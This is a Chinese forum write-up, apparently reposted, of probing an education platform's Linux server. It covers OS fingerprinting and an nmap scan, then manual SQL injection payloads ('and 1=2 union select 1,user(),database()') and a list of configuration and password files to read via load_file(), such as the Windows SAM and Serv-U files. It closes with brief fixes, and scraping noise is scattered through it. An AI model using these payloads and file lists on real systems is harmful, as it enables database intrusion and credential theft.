中国网络渗透测试联盟
标题:
记一次Linux系统PHP注入入侵检测
[打印本页]
作者:
admin
时间:
2013-2-16 22:23
标题:
记一次Linux系统PHP注入入侵检测
题记:
( y( C( l: D. ]
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
8 ~! T" y$ N2 s& I( o4 ^3 ?* ~
第一步:获取需要的信息
, p8 t9 {- R5 ?$ C
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
/ R3 ?" j8 d( h1 @' F
注:以下为保护特用XXX代替敏感信息
4 U) \4 R- k6 A
顺手先PING了一下他们的域名:
6 I% b4 O4 T0 {; h7 s; r0 |8 i7 i
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
! @1 K' p2 a- e1 T/ x2 ]2 @
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
. {3 z( u7 C7 j+ G5 ]9 w& h/ u: Q
顺便了解一下TTL,学好基础知识才能一路顺风:
' N4 V p3 G9 _# p+ ~: J3 a& D% c
TTL:(Time To Live ) 生存时间
& H+ V5 f: h7 ]5 T* s: `1 O% n
指定数据包被路由器丢弃之前允许通过的网段数量。
9 J A8 ]2 e" u! M
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
0 m. r* |* E, o/ t) \
使用PING时涉及到的 ICMP 报文类型
' f1 ^6 F. N' H; ~/ K9 V* D
一个为ICMP请求回显(ICMP Echo Request)
7 l& z1 k ^( e- U$ v
一个为ICMP回显应答(ICMP Echo Reply)
7 j+ V# x% K( u
TTL 字段值可以帮助我们识别操作系统类型。
3 k8 @+ K( Y3 f* }- _) ^- Z
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
+ O" p0 T9 v! i) h
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
3 z2 M) \$ N+ t: ^ z/ ?, u: h
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
: N* A& `$ H2 h" m+ x6 U& s
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
5 u5 g( V' ?8 L6 c5 v% Y# R
当然,返回的TTL值是相同的
8 g+ E* E# o1 J& a& t& m
但有些情况下有所特殊
- e/ G' u( J3 p5 v
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
5 F) _2 D$ y! b$ h5 t- y3 _' y$ |
FreeBSD 4.1, 4.0, 3.4;
/ ], N9 b/ }' h1 x O/ c1 ~
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
" [; g( U- Q# d8 h; S! R& B& l( U
OpenBSD 2.6, 2.7,
* m4 K& t7 y& V4 j+ w# s' M8 o+ i
NetBSD
. j5 W+ H) @/ q+ W* L
HP UX 10.20
( X" o& d2 B8 w" x% x
ICMP 回显应答的 TTL 字段值为 255
* y2 Z' J4 e8 a. M# E( `
Windows 95/98/98SE
' a) j8 T% f/ N; c" x5 h
Windows ME
% o" f0 q" w7 M- y' G4 ~* c# ~6 n8 m8 r
ICMP 回显应答的 TTL 字段值为 32
7 v9 j: z. t5 ]6 V1 h, H. G
Windows NT4 WRKS
) U* O7 ~4 o; O& {
Windows NT4 Server
0 t- A3 b6 P% V+ D: _4 J
Windows 2000
9 y& J2 p% D) g
Windows XP
% Z5 m- s8 ]* }7 [) T6 C' y
ICMP 回显应答的 TTL 字段值为 128
7 y" t* u( m- m1 ?3 T0 f
这样,我们就可以通过这种方法来辨别操作系统
* P0 t9 N5 l& v) T6 j7 h+ M. I
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
2 c- ]9 u& N: L9 ~
用NMAP扫描一下:
7 j) O, k/ c( J0 P# C
nmap -sT -O XXX.XXX.XXX.XXX
' V0 P9 n4 E# \# z6 U% W3 X) X
如果没有装WinPcap则会弹出提示:
! u- K8 m5 k6 m
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
- n! m" g% f$ z' \# e- j
ade to version 3.1 or higher from
http://www.winpcap.org.
Resorting to connect(
3 _7 k; W) n0 [( q i. u% ^4 R
) mode — Nmap may not function completely
3 c- Q& @5 D" d$ G- Y
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
" q) }5 e' d1 |! ^' ]* K
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
$ N) i U2 H+ o& x/ U& ~. T9 S9 ^
pcap is available from
http://www.winpcap.org.
iphlpapi.dll comes with Win98 an
, X0 k6 [, D- R: [
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
2 q+ m$ W% C+ u/ E( ~# Q
ersions, you may be able to take iphlpapi.dll from another system and place it i
6 B- ^# K1 S! k
n your system32 dir (e.g. c:\windows\system32).
" @1 V8 F; K9 j; _8 L! M% t
QUITTING!
) O* m0 O! I+ }' L# P: @2 w% R
到这里下载:
http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
2 r6 y4 }, u( v" l2 V( w1 S
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
# i6 r ~; a! ]3 v( M( g$ H) W
Interesting ports on XXX.XXX.XXX.XXX:
% r; k4 n) A2 ?, v* V% u
Not shown: 986 closed ports
2 f' Z, @! l4 _! L3 S$ l3 }
PORT STATE SERVICE
[! e3 y# N0 V; k% Y X/ r- ^
21/tcp open ftp
& x& m/ G' d: b) x- \
22/tcp open ssh
/ k; l$ B/ x/ j3 v0 o- q0 F
23/tcp open telnet
, R* `' @/ q% k3 i/ ]9 d5 C+ L8 K
80/tcp open http
( D+ v+ `1 U) O
111/tcp open rpcbind
K" u( Z# v, q: c9 D
135/tcp filtered msrpc
/ x6 C: F! h9 X, `$ _& D
139/tcp filtered netbios-ssn
# g9 B, r2 `+ h2 P( c `
445/tcp filtered microsoft-ds
3 X2 Y( Z5 d6 J! e% D
513/tcp open login
! G% L$ }; N n/ O, w3 Y3 Z
514/tcp open shell
5 ?# _' Z6 x/ Z3 ?/ l- Q
593/tcp filtered http-rpc-epmap
' n5 V* j! J7 n# n
1720/tcp filtered H.323/Q.931
4 l& L2 Y- q; Q: {* s8 y
3306/tcp open mysql
7 `$ M- M8 J8 U; j
4444/tcp filtered krb524
7 c1 o6 K( O5 g1 {3 w/ s8 S
Device type: WAP
1 q# V+ o* |% C$ N8 Z' ]- @3 ]. g
Running: Linux 2.4.X
) Y, S6 @; ^/ }( Z
OS details: DD-WRT (Linux 2.4.35s)
* v; y; X. R h2 f# |7 [
Network Distance: 13 hops
( [/ X5 n7 B. ?1 l+ I# x/ x
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
5 p+ y. y- | a6 P
login as:
7 A- f; P# f U. N2 ^7 Y$ i
Telnet23端口也是开着的,用telnet 命令链接一下:
4 f# {: H) i3 P
telnet XXX.XXX.XXX.XXX
7 F) I# V3 s, Q( ^6 w
提示:
5 H5 v) K: e: h) G
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
" o7 E: m2 h5 ]
Kernel 2.6.18-92.el5PAE on an i686
6 Q4 L8 Z, D; [! b
login:
, \7 e+ k# B1 m! ~
获取HTTP头信息:
4 K; k) J9 d+ N" ^" C3 T" c/ q
在本地执行如下PHP代码
! R& r0 [' y( E
<?php
1 C. V2 P7 \5 P
$url = ‘XXX.XXX.XXX.XXX’;
: k- b+ L7 ?* ~# M. t, o/ L
print_r(get_headers($url));
m2 B z; v/ j" J, }# W
print_r(get_headers($url, 1));
4 v& Y; K5 N+ h: g8 Z. U
?>
$ p8 {2 o; ]* f. b
将以上代码保存为PHP文件,执行:
! F: I7 y; K# e1 G& Z
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
8 j4 B/ ]8 g! \4 I- e$ d& v
现在可以得出结论:
7 \" K0 H; j+ L$ ~2 {) T
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
6 S: n0 d4 } M4 b* \
内核版本:Kernel 2.6.18-92.el5PAE on an i686
5 `" I6 i$ \0 v$ _% ?
WEB服务器版本:nginx/0.7.61
0 Y4 `. w: n, o/ {" M" S
第二步,开始测试寻找漏洞
) y2 \$ m& x! \
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
: |% W( I+ f# r p# j% O! D) W
1、敏感地址:站内存在有类似:
http://www.fovweb.com/XXX.php?id=123
这种地址,属动态传参的
6 M2 R- e- W1 y
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
/ N' ^! N I4 G* {
http://www.fovweb.com/XXX.php?id=123
and 1=1 返回正常
. [- g! Y& y5 R; K6 @7 w* E# \
http://www.fovweb.com/XXX.php?id=123
and 1=2 返回错误
* R% E1 ^: {8 ~, M2 M- R8 g
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
$ g7 ]) d9 h; a
3、手工注入:
7 l o& E& ^3 i' G
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
2 Z: t9 p, O+ U) [0 E5 l8 w
3.1 猜测当前表字段数
# ` l* [7 {; h) C2 y( n
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 10
3 V$ {0 d2 O1 O: C% c! a5 l1 K
此处猜测有个简单的算法,都是有技巧的吗,呵呵
! U8 D2 }/ I6 h' a4 K7 a. W
算法简单如下:
3 W2 \9 [& ~- N5 Y* p% r1 I
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
4 m$ B% O/ f) H* f! N6 _% o
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
4 ^! \' `% q" I; ]# t5 Y! V
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
6 m! ~) _1 U2 c" C7 ]+ J( l
以此来判断,是否过界,配合取中算法猜出字段数。
3 W0 k8 p4 K+ E) i( x
举例:
) e- _- f/ B% {
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 3 返回正常
2 y! @# W. @. l( X, u
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 4 返回错误
, _# }; y" W8 V* d6 x
此时3则为我们要找的字段数。
, y( x( D2 ]$ B3 l6 C
3.2 配合union联合查询字段在页面所位置
# `7 K! x( Q8 U
我们已经知道了字段数为3,此时则可以做如下操作:
& l: s* K7 \; @8 {# s: w% M, W
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,2,3
. _. H, _# z4 u& u& Z0 ^
* s6 H- A/ G/ l, e. e: |4 E8 x
这样就可以测试到哪些字段在页面上有所显示了,如图:
: F4 c6 j$ k4 ^" N5 F1 V
* y) A4 X f6 Q8 i0 c& x5 S
3.3 查敏感信息
+ a- \+ U' c) N4 o9 Y
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
9 Q0 _6 \, [; d+ A
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,user(),database()
1 X* `+ b% O$ ^$ L" I
3.3.1 先查数据库用户、数据库名,以备后用,如图:
( h' o, d* } b- x
1 X& h6 J5 ?9 P- {7 c
得到数据库用户为root、数据库名为DBxx;
" p* J7 e0 ?' V: ~$ W4 L: A0 k
3.3.2 查配置文件
- Z7 F }$ [9 q6 A' Z1 s
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
& K5 g3 a8 ~7 f" Q6 Z0 B0 C# x6 u1 ~8 T
查看文件有一定的条件限制:
1 i3 o2 S7 Y) @2 u4 |' F
欲读取文件必须在服务器上
6 p- D% I, { `, _# V
必须指定文件完整的路径
1 h" M6 Z1 `0 @* ?
必须有权限读取并且文件必须完全可读
6 S' s+ P9 m/ b8 P. j2 m
欲读取文件必须小于 max_allowed_packet
& y3 ]% F' B* b, g0 z, g
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
' W( |+ [* |( O' w% u; L1 `
常用的一些:
3 L" g/ q! U5 @, A5 t; w/ h
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
6 [1 g5 A) V6 v! w. s
/usr/local/apache2/conf/httpd.conf
& x" I+ z" _" J F: n8 i+ y
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
0 x+ [4 \0 \) v1 [) I1 Z
/usr/local/app/php5/lib/php.ini //PHP相关设置
# y5 h5 c+ ]0 y) R+ M6 A* L
/etc/sysconfig/iptables //从中得到防火墙规则策略
7 v% x& O/ n# k4 c1 q1 T4 M
/etc/httpd/conf/httpd.conf // apache配置文件
- R% p, e! q! g% G# w
/etc/rsyncd.conf //同步程序配置文件
, ?: B; G/ C: W: x( m" D7 |# ?
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
2 v8 a4 Y/ \7 } ^, V+ @5 _9 ] p. a
/etc/my.cnf //mysql的配置文件
3 p- Y- M) T, y; @
/etc/redhat-release //系统版本
9 L2 @1 B& a: [1 k3 T) D: C
/etc/issue
& t* Z! ?2 o- q% n8 e2 |( G% n7 ?
/etc/issue.net
# |/ }' I6 J+ G- p+ x! N2 k6 ] N
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
' ~. e' k7 n! E
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
! L/ t9 }6 _1 V$ _( V) n
c:\Program Files\Serv-U\ServUDaemon.ini
A: G0 K1 d/ y9 X" ~
c:\windows\my.ini //MYSQL配置文件
$ a; U4 ~* D" H& [- B! ?
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
6 T0 e: ?. P2 J
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
( D& ^( ~* ]$ f( ^- {, U
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
* V1 ~! p S: }7 ^, R
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
+ K0 @6 _* g) f* C" k
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
* H/ l( t' D! n L6 O4 U& x2 B8 T
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
! r! o; A6 ^% m0 T5 Y$ e
//存储了pcAnywhere的登陆密码
, R& \! ~; I( ]$ e
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
( U7 g* S# ~3 E* _' t$ f
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
$ M) c6 G8 Q% g7 {" B# H
最后:防范措施
9 i( n9 A0 f* D& R6 m" ^ R8 ?
1、修复PHP注入漏洞;
6 p$ @3 s. w7 _4 Q; R# f
2、Mysql使用普通权限的用户;
5 O5 g% d+ m6 e0 V8 J0 Z: h
3、升级linux内核至最新版本;
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2